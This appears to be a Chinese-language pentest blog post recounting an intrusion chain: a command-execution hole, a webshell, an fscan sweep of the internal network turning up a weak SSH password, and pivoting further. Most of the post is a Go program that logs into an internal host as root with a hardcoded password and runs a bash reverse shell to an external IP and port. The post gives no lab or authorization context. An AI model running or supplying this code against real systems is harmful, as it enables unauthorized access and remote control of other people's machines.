0x01 应用场景
一个命令执行的口子
主机不出网
当前是nobody权限,web目录是root权限,写webshell没权限
通过一个ctf技巧搞了一个webshell,能上传文件但是不能执行命令
通过webshell将fscan上传到/tmp目录下,通过入口的命令执行漏洞执行fscan,发现内网有ssh弱口令
0x02 解决方案
已知连接ssh的同时可以执行命令
当时的想法是连接ssh,然后执行命令反弹shell,但是连接ssh需要交互式shell,第一时间想到expect,经测试主机上没有expect,然后想到通过python中的pexpect去做这件事,发现目标中的python缺少依赖,如果上传python依赖到对应的依赖库目录太麻烦了,最后想到用go去实现,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package main
import ( "bytes" "fmt" "log"
"golang.org/x/crypto/ssh" )
func main() {
var ( username = "root" password = "P@ssw0rd!" addr = "10.62.139.19:22" )
config := &ssh.ClientConfig { User: username, Auth: []ssh.AuthMethod{ ssh.Password(password), }, HostKeyCallback: ssh.InsecureIgnoreHostKey(), }
client, err := ssh.Dial("tcp", addr, config) if err != nil { log.Fatal("Failed to dial: ", err) } defer client.Close()
// 开启一个session,用于执行一个命令 session, err := client.NewSession() if err != nil { log.Fatal("Failed to create session: ", err) } defer session.Close()
// 执行命令,并将执行的结果写到 b 中 var b bytes.Buffer session.Stdout = &b
// 也可以使用 session.CombinedOutput() 整合输出 if err := session.Run("bash -i >& /dev/tcp/123.249.104.83/1234 0>&1"); err != nil { log.Fatal("Failed to run: " + err.Error()) }
fmt.Println(b.String()) // root }
|
其实是在赌目标主机出网,盲打成功接收到反弹shell那一刻,还是挺爽的~